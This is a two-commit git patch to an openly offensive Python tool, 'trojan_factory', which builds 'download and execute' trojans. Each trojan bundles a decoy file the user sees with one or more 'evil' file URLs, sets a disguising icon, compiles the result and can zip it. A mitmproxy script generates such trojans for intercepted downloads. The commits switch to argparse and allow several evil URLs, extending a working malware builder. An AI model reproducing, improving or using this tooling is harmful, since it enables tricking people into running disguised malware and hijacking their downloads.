From 5a381e063604bfb7fd067840dc10100150941eca Mon Sep 17 00:00:00 2001 From: moodule Date: Sun, 6 Sep 2020 13:12:19 +0200 Subject: [PATCH 1/2] Use argparse instead of the obsolete optparse --- trojan_factory.py | 31 +++++++++++-------------------- 1 file changed, 11 insertions(+), 20 deletions(-) diff --git a/trojan_factory.py b/trojan_factory.py index 621a617..a1e61e2 100644 --- a/trojan_factory.py +++ b/trojan_factory.py @@ -1,28 +1,19 @@ #!/usr/bin/env python -import optparse +import argparse from Trojan import * +parser = argparse.ArgumentParser(description='Generate a "download and execute" trojan with the given files.') +parser.add_argument('-f', '--front-file', required=True, nargs=1, dest='front_file_url', help='Direct URL to file that the user will see.') +parser.add_argument('-e', '--evil-file', required=True, nargs=1, dest='evil_file_url', help='Direct URL to the evil file file.') +parser.add_argument('-o', '--out-file', required=True, nargs=1, dest='out_file_path', help='Location to store the result.') +parser.add_argument('-i', '--icon', required=False, nargs=1, dest='icon_path', help='Trojan icon.', default=None) +parser.add_argument('-z', '--zip', required=False, dest='zip', help='Zip trojan?', action="store_true", default=False) +args= parser.parse_args() -parser = optparse.OptionParser() -parser.add_option('-f', '--front-file', dest='front_file_url', help='Direct URL to file that the user will see.') -parser.add_option('-e', '--evil-file', dest='evil_file_url', help='Direct URL to the evil file file.') -parser.add_option('-o', '--out-file', dest='out_file_path', help='Location to store the result.') -parser.add_option('-i', '--icon', dest='icon_path', help='Trojan icon.') -parser.add_option('-z', '--zip', dest='zip', help='Zip trojan?', action="store_true") - -(options, args) = parser.parse_args() - -if not options.front_file_url: - parser.error("Please specify front file, use --help argument for more info.") -if not options.evil_file_url: - parser.error("Please specify evil file, use --help argument for more info.") -if not options.out_file_path: - parser.error("Please specify out file, use --help argument for more info.") - -trojan = Trojan(options.front_file_url, options.evil_file_url, options.icon_path, options.out_file_path) +trojan = Trojan(args.front_file_url[0], args.evil_file_url[0], args.icon_path, args.out_file_path[0]) trojan.create() trojan.compile() -if options.zip: - trojan.zip(options.out_file_path) +if args.zip: + trojan.zip(args.out_file_path) From bc611075e9ea033ae771a088d3299b731323ba95 Mon Sep 17 00:00:00 2001 From: moodule Date: Sun, 6 Sep 2020 13:21:27 +0200 Subject: [PATCH 2/2] Compile the trojan with any number of files --- Trojan.py | 9 ++++----- _argparse.py | 12 ++++++++++++ mitmproxy_script.py | 2 +- trojan_factory.py | 7 ++++--- 4 files changed, 21 insertions(+), 9 deletions(-) create mode 100644 _argparse.py diff --git a/Trojan.py b/Trojan.py index 990b422..bc1bc0f 100644 --- a/Trojan.py +++ b/Trojan.py @@ -29,16 +29,15 @@ class Trojan: - def __init__(self, url1, url2, icon, out_file): - self.url1 = url1 - self.url2 = url2 - file_type = url1.split(".")[-1].replace("#", "") + def __init__(self, front_urls, evil_urls, icon, out_file): + self._target_urls = front_urls + evil_urls + file_type = front_urls[0].split(".")[-1].replace("#", "") self.icon = self.set_icon(icon, file_type) self.out_file = out_file def create(self): - urls = 'Local $urls = "' + self.url1 + "," +self.url2 + '"\n' + urls = 'Local $urls = "' + ",".join(self._target_urls) + '"\n' with open(TROJAN_SOURCE_CODE_FILE, "w") as trojan_file: trojan_file.write(urls + trojan_code) diff --git a/_argparse.py b/_argparse.py new file mode 100644 index 0000000..45292b5 --- /dev/null +++ b/_argparse.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python + +import argparse + +class ExtendAction(argparse.Action): + def __call__(self, parser, namespace, values, option_string=None): + """ + Concatenate each list of arguments into a single, flat, list. + """ + items = getattr(namespace, self.dest) or [] + items.extend(values) + setattr(namespace, self.dest, items) diff --git a/mitmproxy_script.py b/mitmproxy_script.py index 22e411e..5d1d866 100644 --- a/mitmproxy_script.py +++ b/mitmproxy_script.py @@ -24,7 +24,7 @@ def request(flow): print("[+] Generating a trojan for " + flow.request.pretty_url) - trojan = Trojan(front_file, EVIL_FILE, None, trojan_file) + trojan = Trojan([front_file], [EVIL_FILE], None, trojan_file) trojan.create() trojan.compile() diff --git a/trojan_factory.py b/trojan_factory.py index a1e61e2..86cca13 100644 --- a/trojan_factory.py +++ b/trojan_factory.py @@ -1,19 +1,20 @@ #!/usr/bin/env python import argparse +from _argparse import ExtendAction from Trojan import * parser = argparse.ArgumentParser(description='Generate a "download and execute" trojan with the given files.') parser.add_argument('-f', '--front-file', required=True, nargs=1, dest='front_file_url', help='Direct URL to file that the user will see.') -parser.add_argument('-e', '--evil-file', required=True, nargs=1, dest='evil_file_url', help='Direct URL to the evil file file.') +parser.add_argument('-e', '--evil-file', required=True, nargs='+', dest='evil_file_urls', help='Direct URL to the evil file file.', action=ExtendAction) parser.add_argument('-o', '--out-file', required=True, nargs=1, dest='out_file_path', help='Location to store the result.') parser.add_argument('-i', '--icon', required=False, nargs=1, dest='icon_path', help='Trojan icon.', default=None) parser.add_argument('-z', '--zip', required=False, dest='zip', help='Zip trojan?', action="store_true", default=False) args= parser.parse_args() -trojan = Trojan(args.front_file_url[0], args.evil_file_url[0], args.icon_path, args.out_file_path[0]) +trojan = Trojan(args.front_file_url, args.evil_file_urls, args.icon_path, args.out_file_path[0]) trojan.create() trojan.compile() if args.zip: - trojan.zip(args.out_file_path) + trojan.zip(args.out_file_path[0])